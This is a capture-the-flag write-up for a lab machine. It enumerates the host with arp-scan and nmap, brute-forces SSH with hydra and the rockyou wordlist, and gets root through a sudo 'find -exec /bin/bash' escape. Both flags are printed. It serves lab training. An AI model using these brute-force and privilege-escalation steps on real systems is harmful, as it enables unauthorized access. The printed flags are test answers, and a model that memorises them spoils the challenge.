

IB Series 1 CTF Challenge

System Information:-

IP Address (Network) - 10.10.10.5

Hostname - ian

Operating System (Version) - Ubuntu 14.04.5 LTS

Domain - N/A

Credentials - N/A

Responding to ICMP (Yes/No) - Yes

Firewalled (Yes/No) - No

Enumeration:-

.First we do arp-scan --localnet

```
command :-sudo arp-scan --localnet
```

—(kaliⓀkali)-[~]

└─\$ sudo arp-sc an --localnet

Interface: eth0, type: EN10MB, MAC: 08:00:27:8a:35:d2, IPv4: 10.10.10.5

WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied

WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied

Starting arp-scan 1.10.0 with 256 hosts (<https://github.com/royhills/arp-scan>)

10.10.10.1 52:54:00:12:35:00 (Unknown: locally administered)

10.10.10.5 08:00:27:ca:a8:52 (Unknown)

2 packets received by filter, 0 packets dropped by kernel

Ending arp-scan 1.10.0: 256 hosts scanned in 2.016 seconds (126.98 hosts/sec). 2 responded

. Port scan for complete IP

```
command:-sudo nmap 10.10.10.5
```

└─(kaliⓀkali)-[~]

└─\$ sudo nmap 10.10.10.5

Starting Nmap 7.98 (<https://nmap.org>) at 2026-07-22 10:23 -0400

Nmap scan report for 10.10.10.5

Host is up (0.0014s latency).

Not shown: 998 closed tcp ports (reset)

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

MAC Address: 08:00:27:CA:A8:52 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.50 seconds

.As http service running on the machine, using the service accessed the website port 80 .

```
Don't waste your time, try harder !!!!  
**BRAVOECHOLIMALIMA**  
here is a hint to find the username :)
```

Exploitation:-

.From the above hint found that "bell" is the username, with the default password wordlist file that stored in kali "rockyou.txt" performing dictionary based attack on ssh service running on port 22 of the target machine.

```
command:-sudo hydra -l bell -P rockyou.txt ssh://10.10.10.5
```

```
└─(kali㉿kali)-[~/Desktop]
```

```
└─$ sudo hydra -l bell -P rockyou.txt ssh://10.10.10.5
```

Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (<https://github.com/vanhauser-thc/thc-hydra>) starting at 2026-07-22 10:28:25

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4

[WARNING] Restorefile (you have 10 seconds to abort... (use option -l to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore

[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task

[DATA] attacking ssh://10.10.10.5:22/

[22][ssh] host: 10.10.10.5 login: bell password: shadow

1 of 1 target successfully completed, 1 valid password found

[WARNING] Writing restore file because 3 final worker threads did not complete until end.

[ERROR] 3 targets did not resolve or could not be connected

[ERROR] 0 target did not complete

Hydra (<https://github.com/vanhauser-thc/thc-hydra>) finished at 2026-07-22 10:28:53

Here I got the username and password with the help of Tool called hydra

```
username:-bell and password:-shadow
```

.Login to machine using ssh service username is "bell" and password is "shadow" which we found using hydra

```
command:-ssh bell@10.10.10.5
```

```
└─(kali㉿kali)-[~]  
└─$ ssh bell@10.10.10.5
```

```
bell@ian:~$
```

.To get flag 1 and now i will cat userflag.txt

```
bell@ian:~$ ls  
author userflag.txt  
bell@ian:~$ cat userflag.txt
```

```
f4e690f638c01bd8a19fb1349d40519c
```

Escalation:-

.Found that "find" have a sudo permission to run as root.
.For any privilege escalation vulnerability, started checking on "gtfobins.org".
.Found a command that helps to gain root access.
.Finally captured a flag in root user home location.
.To get a flag 2 I have used the root sudo command

```
command:- sudo find / -exec /bin/bash \;
```

```
bell@ian:~$ sudo find / -exec /bin/bash ;  
root@ian:~# whoami  
root  
root@ian:~# cd /root  
root@ian:/root# ls  
rootflag.txt
```

```
root@ian:/root# cat rootflag.txt  
c8aaf0f3189e000006c305bbfcbeb790
```

Here is flag 1 which was in bell location

```
flag1(user home location) - f4e690f638c01bd8a19fb1349d40519c
```

Here is flag 2 which was in root location

```
flag2(root home location) - c8aaf0f3189e000006c305bbfcbeb790
```